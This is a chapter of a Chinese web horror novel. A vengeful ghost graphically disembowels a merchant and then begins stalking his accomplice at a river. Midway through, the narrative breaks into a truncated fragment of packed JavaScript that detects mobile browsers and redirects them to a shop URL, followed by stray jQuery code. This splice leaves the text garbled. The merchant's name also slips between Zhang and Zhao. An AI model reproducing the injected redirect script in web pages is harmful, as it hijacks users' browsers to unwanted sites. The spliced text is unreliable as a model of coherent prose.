默认冷灰
24号文字
方正启体

55.《志怪》索命(一)

作者:石鱼湖本书字数:K更新时间:
    锦宁城的夜向来是热闹的,尤其是城西富户聚集的区域,更是灯火通明,丝竹管弦之声不绝于耳。


    然而今夜,位于梧桐巷深处的张员外府邸,却透着一股不同寻常。


    张员外名为张德广,靠着祖上留下的基业和几分精明的算计,在锦宁城的绸缎行里也算是个有头有脸的人物,虽然谈不上乐善好施,但也未曾听闻有什么太大的恶行。


    此时,他正独自一人待在书房里。对这一本摊开的书册,眉头紧锁,额上渗出了细密的冷汗。


    书桌上点着盏油灯,火苗不时地跳动,映照着他略显苍白浮肿的脸。


    平常这个时辰他应该在看账本,但今天他手里拿的是一本如今在锦宁城颇有“名气”的志怪小说——《梦归志怪录》,作者署名梦归客。


    这本书文笔不错,故事也新奇,只是销量一直不温不火,直到最近……


    张员外翻开的这一页,正是其中一个名为“画皮抽肠”的故事。


    故事中一个被负心汉抛弃的女鬼化作美艳女子,专门勾引负心薄幸之徒,在夜深人静之时,露出其青面獠牙的本来面目,用锋利的爪子活生生剖开负心人的肚肠,将其肠子一寸寸抽出。


    张员外看得心惊肉跳,也不知是书中的情节太过吓人,还是这阴雨即将到来的夜晚太过压抑,他只觉得胸口发堵,喉咙发干。


    他烦躁地把书合上,推到一边,嘴里嘟囔着:“真是晦气!梦归客那穷酸秀才尽写些污秽的东西,早晚惹祸上身!”


    他起身想去倒杯茶,却忽然觉得脖颈处吹来一阵阴风,凉飕飕的,激得他汗毛根根倒竖。


    可书房的窗户明明关得好好的。


    “谁?!”他突然回头,声音微微颤抖。


    书房里空无一人,只有他自己的影子被烛光拉得长长的,投射在墙壁上,随着火苗微微晃动。


    “疑神疑鬼……”他自我安慰着,走到桌边端起茶杯。


    就在这时,他眼角余光瞥见墙角那面铜镜里映出的,似乎不只是他自己的影子,好像还有一个穿着绿色衣裙的窈窕身影,迅速一闪而过。


    “哐当!”茶杯脱手落地,摔得粉碎。


    赵员外心脏狂跳,紧紧盯着那面铜镜,可镜子里只有他惊慌失措的脸和身后空荡荡的书房。


    “来人,快来人啊!”他拔高了嗓门喊着,因惊吓过度都破了音。


    门外守夜的小厮迷迷糊糊应了一声,推门进来:“老爷,有什么吩咐?”


    “刚才、刚才有没有人进来?”张员外抓住小厮的胳膊,指甲几乎掐进了肉里。


    小厮被他吓住了,结结巴巴道:“没、没有啊!老爷,小的一直守在门口,连只苍蝇都没飞进去。”


    张张员外松开手,喘着粗气,挥挥手,让小厮退下。


    他定了定神,觉得大概是自己这几天太紧张了。


    都是那本破书闹的,他恨恨地想,明天就让人去找那穷酸书生的麻烦。


    他重新坐回椅子里,试图平复狂乱的心跳。


    然而,一股若有若无的幽香飘进了他的鼻端,很淡的味道,像是某种花香,又带着一些陈腐的气息。


    他猛地抬头,只见书桌对面不知何时竟端坐一个女子。


    女子身着绿裙,身段窈窕,低着头,乌黑的长发垂落,遮盖了面容。


    油灯的火苗猛的一下窜高,变成了幽绿色,将整个书房映照的一片鬼气森森。


    “咯咯咯……”一阵空灵诡异的女子笑声响起。


    张员外吓得快要从椅子上弹起来,声音颤抖:“你、你是何人?!”


    女子缓缓抬起头,张员外顿时倒吸一口凉气,那是一张何等美艳动人的脸!


    眉若远山,眼含秋水,肤若凝脂,唇色点朱,美得不似凡人,带着一种勾魂射魄的魅力。


    “小女子绿袖,夜路难行,见此处灯亮,特来借宿一宿。”


    女子的声音清甜软糯,带着丝丝魅惑。


    若是平时,见到如此绝色,张员外这老色鬼早就心猿意马了。


    可此刻,他只觉得一股寒气从脚底往上窜,这女子出现得实在太过诡异,而且她的相貌总让他觉得有些眼熟,好像在哪里见过,却又一时想不起来。


    “府、府上不太方便……姑娘还是……”张员外想拒绝,可舌头却跟打了结一样不听使唤。


    绿衣女子嫣然一笑,起身袅袅娜娜地走到他身边,冰凉的手指轻轻抚上他的肩膀。


    “员外何必拒人于千里之外呢?长夜漫漫,无心睡眠,不如让绿袖陪您说说话吧……”


    女子的触碰让张员外浑身一僵,他感到一股刺骨的寒意透过薄薄的衣服渗进来。


    他想推开她,身体却像被无形的绳索束缚住了,丝毫动弹不得。


    那股奇异的香味越来越浓,熏得他头晕目眩。


    绿袖俯下身子,红唇贴上他的耳朵,吐气如兰,却带着一丝诡异。


    “张员外,你可还记得二十年前,林家绣坊的林雪宜?”


    这个名字像一道天降惊雷,在张员外脑海中轰然炸开——


    林家,就是二十年前,他伙同刘掌柜和赵乡绅陷害,最终致其家破人亡的林家!


    绿袖,就是那个被他残忍杀害的林家小姐的贴身丫鬟……


    他惊恐地睁大双眼,看着近在咫尺的绝美容貌。那眉眼,那神态,渐渐与记忆中那个倔强清秀的丫鬟重合。


    “不!不是你,你已经死了!”他失声尖叫,拼命挣扎。


    绿袖脸上的笑容瞬间消失,换上了一种深深的怨毒。


    她的皮肤以肉眼可见的速度变得青灰,光滑的脸颊开始开裂剥落,露出底下血淋淋的筋肉和森白的骨头。


    一双眼睛变得全黑,没有眼白,暗黑一片,似无尽的深渊。


    “你这狼心狗肺的畜生!拿命来!”


    绿袖的声音变得沙哑扭曲,满是恨意。


    “不!我不是,你认错人了!救命啊!”


    张员外发出杀猪般的惨叫,涕泪横流,□□瞬间湿了一片。


    那女子似乎被他惨叫激怒,发出一声尖锐的嘶吼,猛地扑了上来。


    她动作极快,干枯细长的手指轻而易举的就撕裂了张员外身上昂贵的丝绸中衣,露出下面肥白油腻的肚皮。


    “不,不要!我给你钱,我把家产都给你,你饶了我吧!”


    张员外绝望地哀求,但绿袖却毫无反应。


    她伸出长而尖的指甲,对着赵员外剧烈起伏的肚皮轻轻一划。


    “刺啦——”如同布帛被撕裂,张员外的肚皮应声而开,鲜血和脂肪瞬间涌了出来。


    极致的疼痛让他瞪大了双眼,喉咙里发出痛苦难耐的喘息,却喊不出一个字。


    见状,绿袖脸上僵硬的微笑似乎扩大了一些。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115679|193563||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >她伸出双手,探入那血淋淋的创口摸索着,然后猛地往外一扯。


    一节温热的、还在微微动弹的肠子,被她硬生生地从张员外的腹腔里抽了出来。


    鲜血像喷泉一样激射,将地板、墙壁、书架染得一片血红。


    张员外的身体剧烈抖动,眼神逐渐涣散,最终头一歪,彻底没了声息。


    那女子仿佛完成了一件精美的艺术品,她站起身,看着手中那节血淋淋的肠子,发出满足的笑声,如夜间山林中的夜枭。


    “咯咯……”


    然后她拖着那节肠子,在书房的地板上,用鲜血绘制起一幅诡异的图案。


    动作从容不迫,极有仪式感。


    做完这一切,她随手将那一截肠子扔在了惨不忍睹的尸体旁,如弃草芥,随意潇洒。


    最后,她缓缓转过身,面向那面荡漾着幽光的铜镜,身影逐渐变淡,最终如同融入水中一般消失在了镜面里。


    幽绿色的火焰恢复了正常的昏黄,书房里只剩下令人作呕的血腥气,一具被开膛破肚、死状凄惨无比的尸体,以及满地用鲜血绘制的诡异图案。


    那图案与《梦归志怪录》中“画皮抽肠”故事中描述的一模一样。


    不知过了多久,直到天边泛起鱼肚白,张府的下人才从莫名的昏睡中醒来。


    当负责打扫书房的小厮像往常一样推开门时,眼前的景象让他发出了撕心裂肺的尖叫,当场被吓晕了过去。


    整个张府顿时陷入了恐慌之中。


    伴随着清晨的雾气,张员外死亡的消息,迅速传遍了整个锦宁城。


    “听说了吗?张员外死了!哎呀,死的那叫一个惨啊!”


    “怎么回事儿,怎么死的?快说说!”


    “听说是像被鬼怪剖开了肚子,肠子都流出来了,地上还用血画满了符,跟那本《梦归志怪录》里写的‘画皮抽肠’的故事一模一样!”


    ……


    刘掌柜这辈子最怕水。


    自从得知张员外死亡的消息后,他就再也没敢靠近过河边半步。


    可是今晚不行,码头新到的一批货出了问题,他必须亲自去盯着。


    “他奶奶的,早不出事晚不出事,偏偏赶在这时候!”他骂骂咧咧的踩着湿滑的青石板,手里的灯笼晃得厉害。


    天色一暗,河边就起了浓雾,浓得像化不开的绸布。运河似一条黑色巨蟒静静盘卧,水声哗啦哗啦,搅得他心烦意乱。


    “快点儿卸货!”他朝工人们吼道,“干完赶紧回去!”


    工人们嘀嘀咕咕,说真是邪门,水里头好像有东西。


    刘掌柜心里直发毛,嘴上却骂的更凶:“少他妈胡说八道,再磨蹭,工钱都不想要了!”


    突然他隐隐听见有人在叫他。


    “刘……仁……良……”那声音轻飘飘的,像是从水里冒上来的。


    他蓦地转过身,雾气里却什么都没有。


    “谁?是谁在装神弄鬼?!”他声音发着颤。


    工人们都停下了手里的活,面面相觑,显然他们都听见了。


    就在这时,灯笼突然“噗”的一下灭了,黑暗像一块湿布,蒙住了刘掌柜的脸。


    他只听见水声越来越近,好像有什么东西,正从河里爬了上来。


    “点灯!快他娘的把灯给我点上!”


    他慌了,高声尖叫着,可是工人们都在后退。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)